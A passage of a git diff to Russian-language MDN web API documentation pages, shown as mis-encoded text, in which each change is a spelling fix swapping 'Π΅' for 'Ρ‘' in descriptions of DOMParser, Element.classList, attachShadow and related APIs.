- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("Boolean")}}, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, поддСрТиваСтся Π»ΠΈ данная функция ΠΈΠ»ΠΈ Π½Π΅Ρ‚. Π­Ρ‚Π° функция Π½Π΅Π½Π°Π΄Π΅ΠΆΠ½Π° ΠΈ сохраняСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Ρ†Π΅Π»Π΅ΠΉ совмСстимости: Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ запросов, связанных с SVG, ΠΎΠ½Π° всСгда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ true. Π‘Ρ‚Π°Ρ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΡ‡Π΅Π½ΡŒ Π½Π΅ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ Π² своСм ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠΈ.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("Boolean")}}, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, поддСрТиваСтся Π»ΠΈ данная функция ΠΈΠ»ΠΈ Π½Π΅Ρ‚. Π­Ρ‚Π° функция Π½Π΅Π½Π°Π΄Ρ‘ΠΆΠ½Π° ΠΈ сохраняСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Ρ†Π΅Π»Π΅ΠΉ совмСстимости: Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ запросов, связанных с SVG, ΠΎΠ½Π° всСгда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ true. Π‘Ρ‚Π°Ρ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΡ‡Π΅Π½ΡŒ Π½Π΅ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ Π² своём ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠΈ.</dd>
</dl>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
@@ -48,7 +48,7 @@ translation_of: Web/API/DOMImplementation
Added the <code>createHTMLDocument()</code> method.<br>
Modified the return type of <code>createDocument()</code> from {{domxref("Document")}} to {{domxref("XMLDocument")}}.</p>
- <p>Π£Π΄Π°Π»Π΅Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>getFeature()</code>. Π”ΠΎΠ±Π°Π²Π»Π΅Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>createHTMLDocument()</code>. Π˜Π·ΠΌΠ΅Π½Ρ‘Π½Β Ρ‚ΠΈΠΏ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ³ΠΎ значСния <code>createDocument()</code> с {{domxref("Document")}} Π½Π°Β {{domxref("XMLDocument")}}.</p>
+ <p>Π£Π΄Π°Π»Ρ‘Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>getFeature()</code>. Π”ΠΎΠ±Π°Π²Π»Π΅Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>createHTMLDocument()</code>. Π˜Π·ΠΌΠ΅Π½Ρ‘Π½Β Ρ‚ΠΈΠΏ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ³ΠΎ значСния <code>createDocument()</code> с {{domxref("Document")}} Π½Π°Β {{domxref("XMLDocument")}}.</p>
</td>
</tr>
<tr>
diff --git a/files/ru/web/api/domparser/index.html b/files/ru/web/api/domparser/index.html
index a23e5cb58e..76d1ed4964 100644
--- a/files/ru/web/api/domparser/index.html
+++ b/files/ru/web/api/domparser/index.html
@@ -30,7 +30,7 @@ var doc = parser.parseFromString(stringContainingXMLSource, "application/xml");
<h3 id="Error_handling" name="Error_handling">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ошибок</h3>
-<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ссли процСсс парсинга Π½Π΅ удастся , <code>DOMParser</code> Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π΅ Π²Ρ‹Π΄Π°Π΅Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅, Π½ΠΎ вмСсто этого Π²Ρ‹Π΄Π°Π΅Ρ‚ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Β ΠΎΡˆΠΈΠ±ΠΊΠΈΒ (see {{Bug(45566)}}):</p>
+<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ссли процСсс парсинга Π½Π΅ удастся , <code>DOMParser</code> Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π΅ Π²Ρ‹Π΄Π°Ρ‘Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅, Π½ΠΎ вмСсто этого Π²Ρ‹Π΄Π°Ρ‘Ρ‚ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Β ΠΎΡˆΠΈΠ±ΠΊΠΈΒ (see {{Bug(45566)}}):</p>
<pre class="brush:xml">&lt;parsererror xmlns="http://www.mozilla.org/newlayout/xml/parsererror.xml"&gt;
(ОписаниС ошибки)
diff --git a/files/ru/web/api/domtokenlist/replace/index.html b/files/ru/web/api/domtokenlist/replace/index.html
index 3fb65e93ea..ad41a3d422 100644
--- a/files/ru/web/api/domtokenlist/replace/index.html
+++ b/files/ru/web/api/domtokenlist/replace/index.html
@@ -22,7 +22,7 @@ translation_of: Web/API/DOMTokenList/replace
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>Boolean, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ <code>true</code>, Ссли <code><var>oldToken</var></code> Π±Ρ‹Π» ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π·Π°ΠΌΠ΅Π½Π΅Π½, ΠΈΠ»ΠΈ <code>false</code> Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС.</p>
+<p>Boolean, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ <code>true</code>, Ссли <code><var>oldToken</var></code> Π±Ρ‹Π» ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π·Π°ΠΌΠ΅Π½Ρ‘Π½, ΠΈΠ»ΠΈ <code>false</code> Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’ старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… <code>replace()</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ void.</p>
diff --git a/files/ru/web/api/element/attachshadow/index.html b/files/ru/web/api/element/attachshadow/index.html
index 535f95ce1a..d2fcdbf0df 100644
--- a/files/ru/web/api/element/attachshadow/index.html
+++ b/files/ru/web/api/element/attachshadow/index.html
@@ -9,7 +9,7 @@ translation_of: Web/API/Element/attachShadow
<h4 id="Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹_ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅_ΠΌΠΎΠΆΠ½ΠΎ_Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ_Π²_Ρ‚Π΅Π½Π΅Π²ΠΎΠΉ_DOM">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π² Ρ‚Π΅Π½Π΅Π²ΠΎΠΉ DOM</h4>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π½Π΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π² ΠΊΠΎΡ€Π΅Π½ΡŒ Ρ‚Π΅Π½Π΅Π²ΠΎΠ³ΠΎ Π΄Π΅Ρ€Π΅Π²Π°. НСкоторыС Ρ‚ΠΈΠΏΡ‹ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ ΠΏΠΎ сообраТСниям бСзопасности(Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ {{htmlelement("a")}}), ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅. Π’ΠΎΡ‚ список Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Ρ… элСмСнтов:</p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π½Π΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π² ΠΊΠΎΡ€Π΅Π½ΡŒ Ρ‚Π΅Π½Π΅Π²ΠΎΠ³ΠΎ Π΄Π΅Ρ€Π΅Π²Π°. НСкоторыС Ρ‚ΠΈΠΏΡ‹ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ ΠΏΠΎ сообраТСниям бСзопасности(Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ {{htmlelement("a")}}), ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅. Π’ΠΎΡ‚ список Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Ρ… элСмСнтов:</p>
<ul>
<li>Π›ΡŽΠ±ΠΎΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт с <a href="https://html.spec.whatwg.org/multipage/custom-elements.html#valid-custom-element-name">Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ</a></li>
@@ -80,14 +80,14 @@ element.shadowRoot === null; // returns true
</tr>
<tr>
<td>NotSupportedError</td>
- <td>Π’Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠΈΡ‚ΡŒ shadow DOM ΠΊ HTML элСмСнту с Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, ΠΈΠ»ΠΈ ΠΊ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Π½ΠΎΠΌΡƒ элСмСнту. (см. Π²Ρ‹ΡˆΠ΅)</td>
+ <td>Π’Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠΈΡ‚ΡŒ shadow DOM ΠΊ HTML элСмСнту с Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, ΠΈΠ»ΠΈ ΠΊ Π·Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½Π½ΠΎΠΌΡƒ элСмСнту. (см. Π²Ρ‹ΡˆΠ΅)</td>
</tr>
</tbody>
</table>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ взят ΠΈΠ· Π΄Π΅ΠΌΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°Β <a href="https://github.com/mdn/web-components-examples/tree/master/word-count-web-component">word-count-web-component</a>, Ρ‚Π°ΠΊ-ΠΆΠ΅ доступно <a href="https://mdn.github.io/web-components-examples/word-count-web-component/">live demo</a>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ attachShadow()Β  ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Π² сСрСдинС ΠΊΠΎΠ΄Π°. ΠœΠ΅Ρ‚ΠΎΠ΄ создаСт ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ элСмСнт Ρ‚Π΅Π½Π΅Π²ΠΎΠ³ΠΎ DOMΒ  ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΠΎΡ‚ΠΎΠΌ добавляСтся содСрТимоС шаблона элСмСнта.</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ взят ΠΈΠ· Π΄Π΅ΠΌΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°Β <a href="https://github.com/mdn/web-components-examples/tree/master/word-count-web-component">word-count-web-component</a>, Ρ‚Π°ΠΊ-ΠΆΠ΅ доступно <a href="https://mdn.github.io/web-components-examples/word-count-web-component/">live demo</a>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ attachShadow()Β  ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Π² сСрСдинС ΠΊΠΎΠ΄Π°. ΠœΠ΅Ρ‚ΠΎΠ΄ создаёт ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ элСмСнт Ρ‚Π΅Π½Π΅Π²ΠΎΠ³ΠΎ DOMΒ  ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΠΎΡ‚ΠΎΠΌ добавляСтся содСрТимоС шаблона элСмСнта.</p>
<pre class="brush: js"><code>//Create a class for the element
class WordCount extends HTMLParagraphElement {
diff --git a/files/ru/web/api/element/blur_event/index.html b/files/ru/web/api/element/blur_event/index.html
index acebebdabb..f5357eb7ae 100644
--- a/files/ru/web/api/element/blur_event/index.html
+++ b/files/ru/web/api/element/blur_event/index.html
@@ -26,7 +26,7 @@ original_slug: Web/Events/blur
<dd style="margin: 0 0 0 120px;">НСт</dd>
</dl>
-<p>{{NoteStart}}Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β {{domxref("Document.activeElement")}} мСняСтся Π² зависимости ΠΎΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Β Π²ΠΎ врСмя выполнСния этого события ({{bug(452307)}}): IE10 устанавливаСт Π΅Π³ΠΎ ΠΊ элСмСнту Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ фокус, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊΒ Firefox ΠΈΒ Chrome ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ Π΅Π³ΠΎ ΠΊΒ <code>body</code> Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°{{NoteEnd}}</p>
+<p>{{NoteStart}}Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β {{domxref("Document.activeElement")}} мСняСтся Π² зависимости ΠΎΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Β Π²ΠΎ врСмя выполнСния этого события ({{bug(452307)}}): IE10 устанавливаСт Π΅Π³ΠΎ ΠΊ элСмСнту Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½ фокус, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊΒ Firefox ΠΈΒ Chrome ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ Π΅Π³ΠΎ ΠΊΒ <code>body</code> Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°{{NoteEnd}}</p>
<h2 id="Бвойства">Бвойства</h2>
diff --git a/files/ru/web/api/element/classlist/index.html b/files/ru/web/api/element/classlist/index.html
index c96fc8427a..1e83b5f78b 100644
--- a/files/ru/web/api/element/classlist/index.html
+++ b/files/ru/web/api/element/classlist/index.html
@@ -41,7 +41,7 @@ translation_of: Web/API/Element/classList
Β Β Β  Если класс Ρƒ элСмСнта отсутствуСт - добавляСт, ΠΈΠ½Π°Ρ‡Π΅ - ΡƒΠ±ΠΈΡ€Π°Π΅Ρ‚. Когда Π²Ρ‚ΠΎΡ€Ρ‹ΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ΠΎ false - удаляСт ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ класс, Π° Ссли true - добавляСт.</dd>
<dd>Β  Β  Если Π²Ρ‚ΠΎΡ€Ρ‹ΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ undefined ΠΈΠ»ΠΈ пСрСмСнная с typeof == 'undefined', ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ toggle.</dd>
<dd><strong>contains</strong> ( String )<br>
- Β Β Β  ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅Ρ‚, Π΅ΡΡ‚ΡŒ Π»ΠΈ Π΄Π°Π½Π½Ρ‹ΠΉ класс Ρƒ элСмСнта (Π²Π΅Ρ€Π½Π΅Ρ‚ true ΠΈΠ»ΠΈ false)</dd>
+ Β Β Β  ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅Ρ‚, Π΅ΡΡ‚ΡŒ Π»ΠΈ Π΄Π°Π½Π½Ρ‹ΠΉ класс Ρƒ элСмСнта (Π²Π΅Ρ€Π½Ρ‘Ρ‚ true ΠΈΠ»ΠΈ false)</dd>
</dl>
<div class="note">
diff --git a/files/ru/web/api/element/clientleft/index.html b/files/ru/web/api/element/clientleft/index.html
index 09395a31c0..6fb2e89c0b 100644
--- a/files/ru/web/api/element/clientleft/index.html
+++ b/files/ru/web/api/element/clientleft/index.html
@@ -61,8 +61,8 @@ translation_of: Web/API/Element/clientLeft
<h2 id="Notes">Notes</h2>
-<p><code>clientLeft</code> Π±Ρ‹Π» Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π²Π²Π΅Π΄Π΅Π½ MS IE DHTML object model.</p>
+<p><code>clientLeft</code> Π±Ρ‹Π» Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π²Π²Π΅Π΄Ρ‘Π½ MS IE DHTML object model.</p>
-<p>РасполоТСниС Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ scrollbar для письма справа Π½Π°Π»Π΅Π²ΠΎΒ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½ΠΎΠ³ΠΎ для элСмСнта Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Π·Π½Π°Ρ‡Π°ΡŽΡ‚ΡΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ свойством <a class="external" href="http://kb.mozillazine.org/Layout.scrollbar.side"><code>layout.scrollbar.side</code> preference</a></p>
+<p>РасполоТСниС Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ scrollbar для письма справа Π½Π°Π»Π΅Π²ΠΎΒ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½ΠΎΠ³ΠΎ для элСмСнта Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Π·Π½Π°Ρ‡Π°ΡŽΡ‚ΡΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ свойством <a class="external" href="http://kb.mozillazine.org/Layout.scrollbar.side"><code>layout.scrollbar.side</code> preference</a></p>
-<p>Когда установлСны стили элСмСнта <code>display: inline</code>, Ρ‚ΠΎΒ <code>clientLeft</code>Β Π²Π΅Ρ€Π½Π΅Ρ‚Β <code>0</code> нСсмотря Π½Π° Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ элСмСнта.</p>
+<p>Когда установлСны стили элСмСнта <code>display: inline</code>, Ρ‚ΠΎΒ <code>clientLeft</code>Β Π²Π΅Ρ€Π½Ρ‘Ρ‚Β <code>0</code> нСсмотря Π½Π° Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ элСмСнта.</p>
diff --git a/files/ru/web/api/element/clienttop/index.html b/files/ru/web/api/element/clienttop/index.html
index cf209ba985..4160e3847e 100644
--- a/files/ru/web/api/element/clienttop/index.html
+++ b/files/ru/web/api/element/clienttop/index.html
@@ -38,7 +38,7 @@ translation_of: Web/API/Element/clientTop
<h2 id="Notes" name="Notes">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</h2>
-<p><code>clientTop</code>Β Π±Ρ‹Π» Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π²Π²Π΅Π΄Π΅Π½Β Π²Β MS IE DHTML object model.</p>
+<p><code>clientTop</code>Β Π±Ρ‹Π» Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π²Π²Π΅Π΄Ρ‘Π½Β Π²Β MS IE DHTML object model.</p>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/element/closest/index.html b/files/ru/web/api/element/closest/index.html
index 84d47ca794..0d8837d8a0 100644
--- a/files/ru/web/api/element/closest/index.html
+++ b/files/ru/web/api/element/closest/index.html
@@ -43,7 +43,7 @@ translation_of: Web/API/Element/closest
<p>Π”ΡƒΠΌΠ°ΡŽ, стоит Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ нСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ²:</p>
-<pre class="brush: js notranslate">var div = document.querySelector("#too"); //Π­Ρ‚ΠΎ элСмСнт ΠΎΡ‚ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ поиск
+<pre class="brush: js notranslate">var div = document.querySelector("#too"); //Π­Ρ‚ΠΎ элСмСнт ΠΎΡ‚ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ поиск
div.closest("#block"); //Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ - самый ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π±Π»ΠΎΠΊ Π΄Ρ€Π΅Π²Π° Π²Ρ‹ΡˆΠ΅
div.closest("div"); //Π‘Π°ΠΌ Π±Π»ΠΎΠΊ #too ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎΠ΄ сСлСктор "div"
diff --git a/files/ru/web/api/element/error_event/index.html b/files/ru/web/api/element/error_event/index.html
index 716ebfef1d..44804d730b 100644
--- a/files/ru/web/api/element/error_event/index.html
+++ b/files/ru/web/api/element/error_event/index.html
@@ -23,7 +23,7 @@ original_slug: Web/Events/error
<dt style="float: left; text-align: right; width: 120px;">БпСцификация</dt>
<dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-error">DOM L3</a></dd>
<dt style="float: left; text-align: right; width: 120px;">Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ</dt>
- <dd style="margin: 0 0 0 120px;">{{domxref("UIEvent")}} Ссли создаСтся элСмСнтом ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса, {{domxref("MediaRecorderErrorEvent")}} Ссли гСнСрируСтся API записи MediaStream, ΠΈ {{domxref("Event")}} ΠΈΠ½Π°Ρ‡Π΅.</dd>
+ <dd style="margin: 0 0 0 120px;">{{domxref("UIEvent")}} Ссли создаётся элСмСнтом ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса, {{domxref("MediaRecorderErrorEvent")}} Ссли гСнСрируСтся API записи MediaStream, ΠΈ {{domxref("Event")}} ΠΈΠ½Π°Ρ‡Π΅.</dd>
<dt style="float: left; text-align: right; width: 120px;">Π’ΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅</dt>
<dd style="margin: 0 0 0 120px;">НСт</dd>
<dt style="float: left; text-align: right; width: 120px;">ΠžΡ‚ΠΌΠ΅Π½ΡΠ΅ΠΌΠΎΠ΅</dt>
diff --git a/files/ru/web/api/element/getboundingclientrect/index.html b/files/ru/web/api/element/getboundingclientrect/index.html
index 7d154af995..a2dbe829cf 100644
--- a/files/ru/web/api/element/getboundingclientrect/index.html
+++ b/files/ru/web/api/element/getboundingclientrect/index.html
@@ -73,9 +73,9 @@ var rect = obj.getBoundingClientRect();</code></pre>
<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉΒ <code>DOMRect</code>Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½ Π² соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π­Ρ‚ΠΎ Π½Π΅ Ρ‚Π°ΠΊ со старыми вСрсиями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π»ΠΈΒ <code>DOMRectReadOnly</code>. Π£ IE ΠΈ Edge, Π½Π΅ имСя возмоТности Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½Π½Ρ‹Π΅ свойства ΠΊ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΌ ΠΈΠΌΠΈΒ <a href="https://msdn.microsoft.com/en-us/library/hh826029(VS.85).aspx"><code>ClientRect</code></a>, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π΅ позволял Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒΒ <code>x</code>Β ΠΈΒ <code>y</code>.</p>
